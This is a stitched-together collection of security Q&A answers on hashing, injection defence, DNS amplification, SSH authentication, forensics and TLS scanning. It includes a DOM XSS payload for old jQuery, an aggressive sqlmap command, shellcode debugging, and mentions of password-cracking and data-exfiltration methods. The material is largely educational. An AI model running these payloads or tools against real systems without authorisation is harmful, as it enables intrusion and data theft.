Password hashing that is resistant to ASIC-assisted cracking without risking DoS of server

There are a few things that can be done, and are done.

One approach is to leverage TPM to create a secret that the server cannot (theoretically) leak.  This secret is used upon the password during the hashing process (I believe the term for this is a "pepper," as opposed to a "salt" which is considered public information).  The offline attacker could beat on this password file as long as they like, but unless they can guess the server's secret stored in a TPM module, they don't have anything to break.  Obviously this can be done with any sort of secret, but I point out TPM because that tends to rely on hardware solutions to provide security for these numbers, and that can make it harder to leak the secrets than losing a password file.  This is highly related to the issues the FBI has publicly had when trying to unlock iPhones.  The information they need is locked away in a chip that is intentionally difficult to get into.

The other approach is to make ASICs inefficient.  The power of ASICs is typically that they can do a massively parallel attack on the password file.  You can design the hashing process to consume a large amount of resources which are expensive to parallelize.  There are hashing algorithms out there designed to do this.  One common approach is to have a very memory intensive hashing routine, forcing the ASIC designer to expend large amounts of chip real estate on banks of memory.

Fundamentally, though, if the attacker can get two computers which are equivalent to your server, they can attack it twice as fast offline.  This is a simple information theoretic reality.  However, these approaches make it difficult to get an "equivalent" to your server.  One approach does so by creating a hard to duplicate secret.  The other approach does so by using algorithms that are not trivially parallelizable in hardware.

In response to your comment about your self answer, if you involve the client and have them do the calculations for you, some interesting solutions become options.  Consider looking at zero knowledge proofs.  They are designed to reveal that you know a number (or password) without revealing any information other than that you know the number.  If the server queries the client using one of these zero knowledge protocols to ascertain whether the client knows the password or not, the server doesn't need to know anything about the password at all, so there is no passwords file to leak.  At most, there would just be a database of data structures to use in the zero knowledge protocol, which are mathematically proven to contain no information about the password (or at least statistically nothing).  An attacker who acquires this file would be able to verify that a client that connects to them(!) is a valid client, but could not crack the password any better than you could -- which is not at all.


Is it necessary to scan users' file uploads by antivirus?

I see no reason to use a virus scanner in the second case. The chances of a code-execution vulnerability in an anti-virus seem larger than that of a vulnerability in my parsing libraries. Especially if the parsing libraries are written in a memory safe language.

In the first case I'd use an anti-virus, since offering virus files for download doesn't sound like a good idea. Both people and automated website reputations systems(for example google safe browsing) might associate virus downloads with your website hurting its reputation.
I might still offer such a file for download, but only after an explicit warning and user confirmation. Preferably a confirmation that prevents bots from downloading it.


You are providing a list to sanitize, which includes drop, create, exec,...

But if you only need "SELECT" access, it would be easier to just take away the rights the user who's executing the queries doesn't need. (least-privileged rather than all privileged )

If I were you I would define stored procedures because they are quite injection foolproof. Should this be too hard in your web application, then you can try Parameterized SQL where you use parameters.

Never go sanitizing yourself and then directly query on the database. Parameterized SQL is quite flexible and results in safer environment normally than you would have with Dynamic SQL.

Also bear in mind to not disclose any errors ! (I know it is security through obscurity, but that extra time you gain with it might enable you to detect it.)


Is there a need to image the hard drive when using a write blocker?

Because normal read operation on a disk presenting error (physical or logical) may cause data corruption, destruction and even writing to recover bad blocks.

You have to keep in mind that even the read operation may lead to physical damage or data modification.


How Is It Possible For Hackers To "Dig Up The Dirt" On People?

They can gain access to such information through a combination of techniques.

First of all, they can easily do online searches about a person. You will be surprised how much information can be glimpsed about a person just from his Facebook, Twitter or other social networking sites. Google, and other dedicated "people-finder" search engines like Pipl can divulge plenty of information.

After that, using the information they have gotten about you online, they could use a variety of social engineering attacks such as sending you an email impersonating a trusted person to get you to click on a link that downloads malware such as keyloggers into your computer or brings you to a phishing website to trick you to entering sensitive information.

If the computer you are using have any vulnerabilities, an attacker might be able to exploit it to gain access into your system, and dig up any sensitive data you have stored in it.

The only way to protect yourself from such attacks is to be vigilant. Modify the privacy settings on the social networking sites you do use - you will be surprised how bad the default settings are. Be careful about clicking links from email, even if they appear to be from trusted people. Use an encryption scheme like PGP to verify the email if needed. Encrypt the data on your hard drives if it is really sensitive.

The best defense is just to be careful.


Hilton and Choice Hotel websites reported insecure but valid SSL by chrome?

In case of Hilton Google reports an form with an insecure URL - it seems to be the search form and not the form where you enter personal details. For Choice I currently don't see any problems reported by Chrome.

  Is there any other way a consumer could securely use these sites or is the best bet to stop doing business with them until they improve their site security?

There is no definitive answer. It depends on the specific problem and on the risks you are willing to accept in order to achieve your final goal (i.e. booking a room in a hotel).

In this specific case somebody might intercept your search, which you might consider as no big deal. Even if some personal details would be transferred in plain it might be no big deal in case these details are already widely known anyway (i.e. posted on Facebook or similar). If more secret personal data are transferred like credit card data it could be considered more of a problem.

On the other hand HTTPS does not provide 100% security either: it only protects the data against sniffing and modification during transit to the server but not afterwards. Thus for example your credit card data might still get stolen as happend in the past with Hilton but also other hotel chains.
Also, HTTPS does not protect you if the site is hacked and serves malicious content to the visitors.

Still, you might see the obvious inability to offer a fully secured connection to their public visible site as a sign that they don't care enough about security in the first place. And you might extrapolate how their internal security will be if they don't even get their public visible security right.  Given that you trust them to keep your data safe you might ask yourself if the trust is justified.


sqlmap load https request using "-r REQUESTFILE Load HTTP request from a file"

Found two possible solutions from https://github.com/sqlmapproject/sqlmap/wiki/Usage.

--force-ssl:

C:\Users\Oscar\Desktop\sqlmap-master>python sqlmap.py -r testsite.txt --level=5 risk=3 --force-ssl -p id

Host:

GET /user?id=1 HTTP/1.1
Host: www.testsite.com:443


Risks of pinging/resolving malicious sites?

Doing nslookup will only contact your configured DNS server (and then that server might forward the query to other DNS servers, but not in your name), no packet will arrive from your computer to malicioussite.com.

pinging will send icmp packets to the server of malicioussite.com and if they track packets they will see your ip address. Though ping itself is a pretty safe program strictly speaking, if you're worried that by exposing your ip address to someone is bad intentions is a risk, than you could do so with a proxy, vpn, or via the Tor network.

as far as reverse lookups go, see the following answer here: https://serverfault.com/questions/74042/resolve-host-name-from-ip-address#74044


Spider Attack from several search engines at once

Bing, Google and Yahoo usually do not flood the the server with requests, but send far less than one request per second.

Please double check that you really get many requests from them within a very short time frame (e. g. within a second).

If your web application does have issues with handling occasional requests (for example on request per second), you can slow down Bing and Yahoo with the following entry in robots.txt:

Crawl-delay: 120

This will ask crawlers to wait at least 120 seconds between requests. For Google, you can define the delay in the webmaster tools.


Execution of PHP function's through HTTP GET request by hacker

This is trying to reset some of the PHP init functions. Mainly activating on screen errors, turning off magic quotes (helps with SQLI), and writing a file.

They are getting a 200 resp as this is just a query string, i.e this could be any url with this query appended.

It will most likely just be a scanner looking for vulnerabilities. You could take action to block there IP, User agent etc.


Problems executing shellcode via nop-sled

Your shellcode is on the stack. I presume that your esp register is set to 0xbffff0c4. You pushed 0x6e69622f (2F 62 69 6E), which corresponds to

2F        das
62 69 6E  bound  ebp,QWORD PTR [ecx+0x6e]

This pushes your broken instructions inside your shellcode. It breaks because of this. You can't push when you've got shellcode on your stack!


Why do we have to specify HTTP proxy specs when inside a LAN that is behind a proxy server?

There are different kinds of proxies and explicit configuration is only needed in some cases:

Transparent proxies don't need any kind of configuration, they just need to be in the path of the traffic. The client is not really aware of the proxy in this case. DNS resolution will be done at the client. To get the proxy in the path typically some ports on the perimeter firewall are redirected to the local proxy, which means that the proxy will only cover these ports. The functionality might also be integrated in some DPI solution (like NGFW) where the kind of analysis depends on the detected application protocol and is independent of the port.
Explicit HTTP proxies are configured at each client. They don't need to be in the normal path of the traffic. They are not specific to some ports, instead the browser will send any HTTP traffic via the configured proxy. Contrary to a transparent proxy an explicit proxy can require explicit authentication by the client against the proxy. DNS lookup will be done at the proxy.


Can Chrome Extensions Send Data to Remote Servers?

After reading this, it seemed like the extension isn't allowed to send my data somewhere unless it has lines like the below in the manifest - is this correct?

This is incorrect.
XHR (and fetch) requires the permissions key to be set correctly to avoid cross-origin restrictions, but there are various ways to send data to a remote server, f.e. an auto-submitting form in a iframe, or loading a remote image with some parameters in the URL.


So, a DNS Flood is when you DDOS a DNS Server, and a DNS Amplification is when you use the DNS Server to execute a DOS attack (I think).

DNS Flood - Sending a lot (lot means really lot; may be millions or even more) of queries (mainly random queries) to the DNS server with the intention of bringing down the services is a DNS Flood.
As DNS queries are mainly of UDP in nature (except DNSSEC or Zone Transfer or few others) and spoofing UDP packets is not a rocket science; so we can consider DNS Flood can be achieved easily.
There are multiple methods available for the DNS administrator to protect the resources from flood attack like- Rate Limiting, running servers in anycast mode and many other.

DNS Amplification - In this, attacker use to flood the victim machine/bandwidth through the DNS answers, which are replied by the OpenResolvers.
In nutshell, attacker use to send the random queries to the millions of OpenResolver, with the source IP of the victim (as packet is udp, so spoofing an ip address is not a challenge). OpenResolver in turn replies and answer is sent to the victim.

  Could a DNS Amplification be used to DOS a DNS Server? [DNS Server A] attacks [DNS Server B] which attacks [DNS Server C] and so on...
  Would it not work because of the different protocols? (TCP and UDP)

As explained above, In a DNS Amplification attack,

Attacker [having ip address 1.1.1.1], use to send DNS queries [having ip address 2.2.2.2]
In DNS packet, Src IP address is of victim's address [lets say 3.3.3.3]
DNS Server on receiving the query [having ip 2.2.2.2] will reply to victim [3.3.3.3]
Although victim [3.3.3.3] didn't ask for any dns record from [2.2.2.2] but it is getting the packets

Now, suppose a case where millions of OpenResolvers are sending DNS responses to the victim. This attack will have a potential to choke the victim's bandwidth along with choking the memory and processing capabilities.

Achieving a chain type of attack through DNS Amplification is difficult to achieve and chain length can be of 2 to 3 nodes only AND this too will not be able to generate to lot of amplification to bring down the service.


How to assess damage on compromised SSH server on personal computer

The fact that ssh connection was open for a short time does not tell anything about the damage. May be some malicious daemon was installed and your information was accessed or downloaded later on, without ssh or scp or similar tools.

.bash_history may have been manipulated. That's why no new entries does not mean no command was executed.

You can exactly assess damage only if you have saved your full network traffic since that time and if you can decrypt it. Otherwise we can only speak about probability and risk.


Best way to deal with cross-domain authentication in intranet

I've used my custom OAuth2 authorization provider.

Flow:

User access SharePoint
SharePoint calls webApi /token OAuth2 impersonating current user
WebApi returns token
Token is returned to the user, now he can use it for api calls
Only SharePoint calls to /token are allowed (SSL only)

Works pretty well.


Does re-authenticating to apps on an unlocked phone really make an app more secure?

The short answer is emphatically "yes". Theft of phones, while someone is using them, is well-documented. Often thieves use bikes or mopeds.

Here are my top Google hits for the phrase "snatching phone" (results are geo-located to UK sources). I'm not sure if it is an official phrase.

https://www.met.police.uk/cp/crime-prevention/personal-robbery/protect-your-mobile-phone-against-criminals-on-bikes-and-mopeds/
https://www.cnet.com/g00/news/when-your-phone-gets-snatched-a-survival-guide/?i10c.ua=1&i10c.encReferrer=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8%3d&i10c.dv=17
https://www.ucl.ac.uk/students/news/2019/jul/phone-snatching-how-avoid-it
https://www.independent.co.uk/student/student-life/it-could-happen-to-you-how-to-protect-yourself-from-phone-snatchers-9166322.html


What is the impact of the reported weak IV in 7 Zip?

In CBC mode, the Initialization Vector (IV) has to meet two properties:

Uniqueness: Here the IV is very likely unique because of time(NULL) and gettimeofday() which are basically the current time of your system. It's even more likely on Windows platform since the CPU cycle is involved.
Unpredictability: This property is mandatory if the user can choose the message to encrypt, which is not the case here.

Note that the IV does not have to be secret. As a matter of fact, it is often appended at the beginning of the ciphertext, as clear text. The fact that an attacker can recover the IV is not a vulnerability: the IV is assumed to be public after the encryption is done. Only the two properties listed above are mandatory.

The IV generation is definitely not good (mostly for the size of the IV), but the reaction of OP is exaggerated, the impact isn't that big. It's actually pretty small.

The bigger impact would be that an attacker would be able to recognize two ciphertexts encrypting the same plaintext only if they've been encrypted within the same microsecond, using the same key. Even in this conditions, on a Windows platform, the CPU cycle are very unlikely the same, so the IV will be different.

To give answer to your concerns: No, this vulnerability doesn't have a big impact in this particular case.


False positives are a tricky issue. They deepening on your setup, the rules you use, and the IDS configuration. Generic industry numbers will not apply to your network.

If you just want stats try NSS Labs, http://www.nsslabs.com. They do competitive testing for all types of security products and false positive rate is one of the metrics they use heavily.


How to decrypt the Encrypted DEK using KEK which are separated in servers?

If your DEK is being used on the application server, then it's not really encrypted by the KEK, since the app server has access to it. You can just toss the key server, as anyone with access to the app server, one time, can get the DEK and you're done.

You're better of using asymmetric crypto (the KEK) and generating a session key (DEK) for each item. That way, the app server can encrypt with the public key of the KEK and a new DEK for each item. The key server will have the private key, and the private key must never leave the key server.

For encryption, the app server doesn't need to touch the key server at all. You can have many front-end systems encrypting without issue.

Of course to decrypt, you need to access the key server. The app sends the previously-encrypted blob and the key server encrypts it. I suggest setting up another keypair for each app server, and using that keypair to sign decryption attempts. The key server can log every decryption attempt, so you can alarm if you get too many decryption requests. That's useful for finding malicious admins.

Also, please use a library like KeyCzar, so that all the details are implemented correctly. KeyCzar has this exact scenario (sessions) implemented for you. KeyCzar also has tools to help with key management, which is another thing you must deal with. KeyCzar has .NET, C++, Java, and Python implementations.

Finally, please talk to your PCI auditor about this. Some auditors require use of an HSM for this scenario -- that's basically what you're setting up with the key server. Some cloud providers (AWS) rent HSMs, so that may be an easy option.


Can Javascript/Flash verify the SSL connection to prevent "SSL Inspection"?

You asked about alternatives.  Quite frankly, this is a tough one: if someone is playing man-in-the-middle on your SSL session, and the user hasn't noticed or has allowed it to proceed, you're in a really tough spot.  However, I'll try to brainstorm some alternatives that you could consider, if Javascript isn't able to check the cert the server provided on this HTTPS connection.  Both of these ideas are far from perfect, at best, but I'll pass them along in case they help.

Idea 1. Don't trust the browser. One possible alternative is to use two-factor authentication and confirmation, so that you are not 100% reliant upon the browser session.  For instance, for online banking applications, if the user performs a sensitive operation, the server could send the user's cellphone a SMS message listing the transaction information ("pay $100 to AT&T?  to approve, enter this PIN: 2781"), and then require the user to respond with their approval or enter the PIN into their browser session.  However, I realize this is annoying and inconvenient for users.

Idea 2. Raw sockets. Another possibility you could explore: use Flash or Java to open a raw socket to some TCP port on the server.  If this is not intercepted/man-in-the-middled by the proxy, you now have a number of options to detect the proxy.  One simple detection strategy: if the server notices that the source IP address associated with the raw socket is different from the source IP address associated with this HTTPS connection.  (However this might generate false alarms...)  You might also be able to bypass the proxy without Flash or Java by using some other protocol handler that the browser recognizes but the proxy doesn't intercept, such as ftp:// or somesuch.


Is a QR code with a secret URL that changes every 5th minute secure?

Those kinds of controls usually fail fast. It takes one person to do a video chat to another outside, and the QR can be sent in real time elsewhere.
61 bits of entropy is more than adequate for a code that expires in 5 minutes. And I don't see any problems by using an URL with quick expiration to login. It's the same mechanism that a lot of services uses for quick login. It's the magic link that, for example, Slack sends you to login.
The main issue is not the URL, is that making sure people are in the same room is not easily solvable.


What do the UDP entries in my netstat output stand for?

Break down:

Your computer is listening on UDP ports 5355, 57427, 5353 and accepting communications from any foreign address.

5355 and 5353 might be DNScache
57427 might be FDResPub, which is a Windows OS DLL, that advertises the computer and its resources to the network.

Running:

netstat -a -p UDP -b

can be helpful in determining what is attached to those ports.

[::] and [::1]

If you run

netstat -a -p UDP

you will see that the [::] lines are equivalent to "0.0.0.0", which means that these ports are bound to any local IP address. [::1] lines are equivalent to 127.0.0.1, which is the local host.


How dangerous is checking email on open Wi-Fi network

non-technical answer:

If your connection is (good) encrypted between your Phone and your Mailserver - it should not be a problem. But if not - or accessing via web interface without HTTPS -some bad people or companies will be able to read the data.

If you do not trust the encryption and also not the network - don't do it.

You also have to trust your Phone/Laptop for handling Certificates in a right way, otherwise someone could offer your another Cert and SSL/TLS connection and decrypt it and encrypt it and pass them to your Server (Man in the Middle)

Conclusion:

If you can ensure a safe encrypted connection point to point (Phone - Mailserver) with a good cypher - everything should be ok - if you can not ensure this - stay away.


Can I decrypt a DiskCryptor-encrypted hard drive using Veracrypt?

VeraCrypt documentation web pages (https://veracrypt.codeplex.com/documentation) do not say DiskCryptor and VeraCrypt are compatible!  And the web pages do not say we can convert a DiskCryptor volume to a VeraCrypt volume.  A TrueCrypt volume is ok, though.

If VercaCrypt cannot mount the hard drive, it cannot decrypt it.  I doubt VeraCrypt program will mess up with the hard drive.  But I will not risk to try to do that if the hard drive does not have any backup and the data in the hard drive are really important.


Is there a "generally accepted" balance between privacy and convenience when protecting user data?

Yes, there are usually laws/regulations about storing medical record data. In the US it is the Health Insurance Portability and Accountability Act (HIPAA), you should definitely know about your obligations under whatever regulations apply before offering such a product.
In other medical record systems it is common to allow doctors in emergency medicine to access any record at any time, but with an audit trail specifically for emergency access. They basically have to provide justification afterward. Sort of a "break glass in case of emergency" thing. These record systems have verified the identity of the doctors previously though, so this might not work for your app if the doctors are unknown.
Trying to say that the data is encrypted with a user password, so users don't need to really trust you, is not valid. It would always be possible for your app to skim someone's password or data in an update. Ultimately they need to trust your company completely to handle this data, end of story. Being trustworthy means having an entire security infrastructure in place, including but not limited to, encryption at rest. It means physical security, good IT practices, auditing of code, background checks... probably a lot more.


GET, "mailto" warning - how can I tell if a site is secure?

If the LastPass documentation is kept up to date with their source code, then you don't have to worry about false positives. (You may want to be concerned about false negatives instead.) Detecting a form which is sent via GET or mailto: is a comparatively easy task.

A GET request in HTTP (and HTTPS) is the most simple and widespread request method. It transfers (almost) all your data in the URL, i.e. in the same line of letters which is displayed in the address bar of your browser. Sending a form in an HTTP(S) GET request is not safe: here are the possible consequences.

The other method, dubbed mailto, is not actually an HTTP(s) request method, but rather a way to send your data via e-mail instead of a browser, HTTP and World Wide Web. Sending sensitive data via e-mail instead of an HTTPS POST request might be even less safe.

If you really have to use a Web site which does it either way, better a) evaluate your options and try to choose a site's competitor instead; b) read two links just above and evaluate your risks.

Regarding AJAX, it's basically an abstraction layer on top of HTTP(S). It might easily be implemented with GET requests: Wikipedia has a perfect example of this. So using AJAX alone isn't relevant to the question.

Some clarifications:

LastPass authors most likely are well aware of the fact that there are (sometimes, important) Web sites which do not follow best security practices. Thus, LastPass is not going to prevent using those Web sites at all costs, it just highlights an issue and leaves the burden of decision making for the user.
Sometimes, indeed, using GET or mailto: is somewhat (arguably, but) less of an issue. E.g. when the e-mail message is being sent to a device on
the local network, or when a GET request ends on the localhost. LastPass cannot reliably detect those exceptions, here's why it only displays a warning.
I believe that if LastPass has detected usage of those methods, you can be pretty sure that either of those methods is, in fact, being used. Developer tools ("network" tab) may help to track it down.
Once again, using AJAX alone doesn't mean that the form isn't being sent in a GET request. It might be either way. Pretending that a Web site isn't using GET requests because it's using AJAX is plain silly.


Is the following javascript code vulnerable to DOM XSS?

Assuming that the only relevant code is what has been highlighted above, then as Burp notes at the end, you need to determine what version of jQuery is being used. If the page uses a version of jQuery below 1.6.3, then you can exploit this sink in Edge with #"]<img src=x onerror=alert(1)>.


It looks like you should be able to easily pull the cookies from your pcaps with Wireshark or tshark using filters based around HTTP Cookies.

You should be able to match against http.cookie as a string according to the filters protocol reference: http://www.wireshark.org/docs/dfref/h/http.html

Some more general information about filter syntax (including operators) is here:
http://wiki.wireshark.org/DisplayFilters

I'd fire up Wireshark on your pcap and use Find Packet with a known string and then use the right click menus to have Wireshark craft the filter for you (as described some in the manual section 6.2.2. Pop-up menu of the "Packet List" pane at http://www.wireshark.org/docs/wsug_html_chunked/ChWorkDisplayPopUpSection.html

You can then use that filter (copy and paste) in a console with tshark to rapidly search large pcaps or script the searches trivially.


How does SSH know which public key to use from authorized_keys?

RFC 4252 provides guidelines on how public key authentication should work, but it is not entirely specific on the exact order of the exchange. That said, it was stated in the comments that OP is not interested in RFCs but rather the implementation details for "SSH on Linux", which refers to OpenSSH in most cases.

Connecting to a remote host over SSH with the verbose -v flag, you will typically see the following for each key:

debug1: Offering RSA public key: .ssh/id_rsa.pub

Further, we can look at the source code. After a quick skim, the following is relevant:

if (PRIVSEP(user_key_allowed(ssh, pw, key, 1, &authopts)) &&
        PRIVSEP(sshkey_verify(key, sig, slen, sshbuf_ptr(b),
        sshbuf_len(b), NULL, ssh->compat)) == 0) {
        authenticated = 1;
}

The user_key_allowed function checks for the key in an authorized keys file, while the sshkey_verify appears to verify the signature of some buffer.

Combining this information, it appears that the client will use all of its keys until the server accepts one. This is also evident by the fact that having multiple keys present during a single connection attempt may appear on the server as multiple authentication attempts since all of the keys are tried.

Additionally, see @nbering's comments for the details on the challenges/signatures.

Edit: Here's an example where I have several keys, and only the third one tried is accepted by the server. Using -vvv:

debug1: Next authentication method: publickey
debug1: Offering public key: RSA SHA256:QfriqWH2S2uD6wHbxTFSudppOcJ51bB5ABr8ICrUhL8 .ssh/id_rsa2
debug3: send_pubkey_test
debug3: send packet: type 50 # SSH_MSG_USERAUTH_REQUEST
debug2: we sent a publickey packet, wait for reply
debug3: receive packet: type 51 # SSH_MSG_USERAUTH_FAILURE
debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password
debug1: Offering public key: RSA SHA256:3M8bnhs+jGJm8X2cgnWzzMrfoeT3WmDkSp8AEr751Sk user@laptop
debug3: send_pubkey_test
debug3: send packet: type 50
debug2: we sent a publickey packet, wait for reply
debug3: receive packet: type 51
debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password
debug1: Offering public key: RSA SHA256:CQeP9lcYBVqV11Rn8Ca4Sv+W8l8uU63WQ4TpyG5ZMmI user@laptop
debug3: send_pubkey_test
debug3: send packet: type 50
debug2: we sent a publickey packet, wait for reply
debug3: receive packet: type 60 #  SSH_MSG_USERAUTH_PK_OK
debug1: Server accepts key: pkalg ssh-rsa blen 279
debug2: input_userauth_pk_ok: fp SHA256:CQeP9lcYBVqV11Rn8Ca4Sv+W8l8uU63WQ4TpyG5ZMmI
debug3: sign_and_send_pubkey: RSA SHA256:CQeP9lcYBVqV11Rn8Ca4Sv+W8l8uU63WQ4TpyG5ZMmI
debug3: send packet: type 50
debug3: receive packet: type 52 # SSH_MSG_USERAUTH_SUCCESS
debug1: Authentication succeeded (publickey).

This again closely follows RFC 4252, pages 8-9.


Does clicking "no" to "Do you want to allow the following program ... to make changes to this computer" mean I'm safe?

Clicking "no" on a prompt like that, usually means the program will still run, just not with administrator level privledges.

If the program was trying to access a directory which required admin privileges (such as Program Files) it would then crash, or re-prompt you.

The program can still access the files which your account has access to. For example: theoretically a piece of Ransomware which encrypts only your documents and pictures could still do it's job without being granted administrator privileges, as it's only interacting with files your standard user account has access to.

It's rather odd that your browser "automatically download an unwanted exe." That's usually a result of being on a dangerous website, or already having a piece of malware on your device.
I'd recommend running a full scan using your antivirus. If you're extremely concerned, you could revert to a restore point before you downloaded the program.


Cleaning a virus by mounting the infected hard disk on another machine?

Here's what I recommend:

If there is no valuable data on the disk, just wipe it and reinstall from scratch.
Otherwise, boot from a LiveCD (ideally one with a different OS), salvage your data, then wipe and reinstall.
If you cannot afford to wipe (although I can hardly imagine why that would be the case), boot from a LiveCD and try to get rid of the malware from there. The problem with this approach is that you can't be certain that it actually worked - you may have removed obvious infections, but the better ones may remain undetected.


LibreSSL 2.0.5 - Why wasn't it fully affected by secadv_20140806.txt?

CVE-2014-5139 - crash with SRP ciphersuite in Server Hello message - SRP had been removed from LibreSSL in May 2014 so no fix was necessary.
CVE-2014-3512 - SRP buffer overrun - again not vulnerable because SRP is no longer part of LibreSSL
CVE-2014-3505 - Double Free when processing DTLS packets - this had been fixed independently by LibreSSL back in May 2014.
CVE-2014-3508 - openssl: information leak in pretty printing functions - LibreSSL did indeed provide a fix for it. I have no information why the LibreSSL 2.0.5 release announcement marked it "partially vulnerable", someone with knowledge on that topic could compare the LibreSSL fix to the OpenSSL fix to find out about that. Update: While searching for a more detailled explanation on that, I came across this thread, where someone pretty much asked the same questions and one of the OpenBSD developers explained for CVE-2014-3508:

  For -3508, one of the involved paths had been converted to snprintf()
  and could no longer leave the buffer unterminated, but we hadn't
  changed the other. Darn.

Note: I linked the CVEs to Redhat's Bugzilla, because they always link to the actual commitdiff fixing the issue, which is nice.


What is a good data encryption strategy for a shared resource(text)?

Someone who breaks into your server will make off with the software and the databases. Having all of your factors, they will then be able to run the decryption strategy in reverse to recover all the PII.

In multi-factor authentication, additional factors don't count if they would be stolen at the same time as an existing factor. For example, a hardware token is a different factor from a password, because a key logger (the typical way to steal the password), being software, wouldn't be able to steal the hardware token at the same time.


Does it indicate a bad password system to disallow certain characters in passwords?

Forbidding certain characters doesn't in itself indicate that the password system is broken, but it's a bad sign, and it suggests that the developer has low confidence or a bad understanding of their data processing system. The most likely explanation is that the developer fears some kind of injection attack — SQL injection, or cross-site scripting, or something of that kind. Slashes and spaces are the most likely characters here though, but maybe ', < and > are also forbidden, or maybe they're reencoded (but then why not reencode / and space?).

The password has to be sent in cleartext to the server and hashed there, or at least some encoding of the password has to be hashed on the server (if the password was hashed on the client, the password hash would effectively be the password, which would be no good if an eavesdropper obtained it).

It could be the case that the web infrastructure is bad (full of SQL injection, XSS, etc.) but the password hashing code happens to invoke the right library function and stores a salted, slow hash of the password. Or it could be the case that the password is stored in some weird format pseudo-database and that's why certain characters are forbidden.

It could also be the case that this is some user experience requirement, which may or may not have been interpreted as intended by the developer. Some sites restrict special characters in passwords so as to prevent users from choosing passwords that they won't be able to type easily on some devices. Since this is for a game, maybe there's an in-game interface that requires the user to enter their password, but doesn't allow spaces or slashes (or backslashes, which are also forbidden). If that's the case, they should probably forbid non-ASCII characters as well.

Looking at League of Legends's password recovery instructions, it appears that they do not store the password in cleartext, but to provide an industry-standard password reset link sent to the email address associated with the account. A security announcement mentions that they password database contains “salted password hashes”, so they appear to know how to do things correctly. At least they have some of the basics right — the page they link to explains salt but doesn't mention that a password hash must be slow. Still, given these clues, I'm not overly worried: they're probably not doing something extremely bad (at worst, they're using a fast but salted hash). I suspect that the explanation for the restrictions is a restricted interface to type a password in some version of the game.


How to check which certificate is being checked for revocation?

This MSDN blog may help you

One way of doing this is listed below, but others are on the blog

REGISTRY  : HKLM\SYSTEM\CurrentControlSet\Services\HTTP\Parameters\SslBindingInfo
DWORD    : DefaultSslCertCheckMode
Value         : 1


.money is one of the new top level domains (TLDs), as such it (by itself) should support DNSSEC.

This turns the DNSSEC support into a question of your registrar. As you noted already, it's not supported by default by your registrar and its DNS services.
This leaves you only the option to run your own DNS server with DNSSEC server and by "own" I mean either really your own BIND server (not recommended) or some DNS provider who automatizes DNSSEC for you.

Running DNS yourself however isn't the full solution to deploy DNSSEC. You also need to a) inform your registrar that you don't want to use his DNS servers anymore, but your own (this should be a standard thing) and b) tell the registrar the so called "DS" record. The registrar than needs to put the DS record into the parent zone (i.e. .money), which should be done by a short support ticket along with the DS record.


If I accidentally agree for new WhatsApp's terms and conditions, How to revert that?

As a general rule of thumb with these things, the only way to disagree with the terms of use is by not using it.
If you're expecting that you can "revert" your agreement and only be subject to the previous terms, then I'm afraid you will be disappointed.  While a company may decide to allow that, it's highly unlikely that Facebook does in this case.  In all cases that I am aware of, abiding by terms and conditions is a requirement for using their services.
So how do you revert your agreement?  Simple.
Stop using WhatsApp


Sip call Developing in android with secure data transfer

Take a look at countertap

http://sourceforge.net/projects/countertap/


Are internal patient identifiers considered PHI under HIPAA?

PHI means having any piece of identifying information linked with any type of clinical data -- e.g. a diagnosis, CPT code, etc.

Therefore, an internal patient identifier on its own is not considered PHI.  The release of a simple internal identifier is not a breach, nor is it in violation of any HIPAA regulations I am aware of.

Once that identifier can be used by a non-authorized party to identify the person in question; then we have an issue.

However, best practices would dictate that you secure these identifiers the same way as other data in the database.   There may be changes in HIPAA regulations at some point that deprecate this practice.  I would either ensure that the REST Query is from a secure, trusted system; or find another way to query this information in order to avoid later compliance headaches.

You can read the full text of the sections I'm interpreting here:
https://www.hipaa.com/hipaa-protected-health-information-what-does-phi-include/


Generate wordlist using non-default rules (John The Ripper)

I just tried it and it works fine for me.  Make sure you have a new JtR.  I'm using 1.8.0-jumbo

sample output:

./john -rules:Jumbo -w:password.lst --stdout | head
Press 'q' or Ctrl-C to abort, almost any other key for status
123456789
password


If you want to do log analysis in general you can use Splunk or something alike and just introduce all logs. You just have to create a query for your different files (I suggest putting them in one index). After that you can just create a timegraph and and piecharts to see when, where and how much people have tried to log in. It's not opensource though. Only parts of it are opensource and it's not cheap if you have more than 500 MB  of logs per day. There is a complete opensource alternative called logstash.


How to look for steganography in a picture

A quick googling revealed this site with solutions to your puzzle.

Opening the picture with a hex editor reveals a password, concealment. Using JPSEEK to extract the hidden data from the image, using this password, gives the solution, exponential.

Oddly enough, the URL for this solution (http://www.rtncyberjobs.com/pz2/exponential) doesn't work.


Keep in mind that metasploit do not contain all bash functionality. It has some basic commands like ls or ping but I am not sure if you can use full bash inside. You can try to create a script of echoing the variable and simple copy paste can do the job.


Compliance with PCI DSS v3.2 regarding SSL & TLS

There are a LOT of ways to get this information.

It's important to actively probe the services running on your network and not just look at passive information as the ciphers negotiated and in active use don't represent all ciphers configured to be used on by the service which is what's really important to avoid downgrade attacks.

The tool nmap has a script called ssl-enum-ciphers which may help

nmap --script ssl-enum-ciphers -p 443 www.sitename.com

-p is to specify port 443 for https but this can be used on any port. You can also test huge lists of IP's in a single command but the following is a test against one port on one IP for reader simplicity.

The output from this command and option setting looks like the following:

trey@pentest01:~$ nmap --script ssl-enum-ciphers -p 443 www.verificationlabs.com

Starting Nmap 7.31 ( https://nmap.org ) at 2017-03-30 00:57 UTC
Nmap scan report for www.verificationlabs.com (198.61.176.181)
Host is up (0.0014s latency).
PORT    STATE SERVICE
443/tcp open  https
| ssl-enum-ciphers:
|   TLSv1.0:
|     ciphers:
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA (dh 4096) - A
|       TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA (dh 4096) - A
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA (dh 4096) - A
|       TLS_DHE_RSA_WITH_SEED_CBC_SHA (dh 4096) - A
|       TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA (dh 4096) - A
|     compressors:
|       NULL
|     cipher preference: server
|     warnings:
|       Key exchange (secp256r1) of lower strength than certificate key
|   TLSv1.1:
|     ciphers:
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A
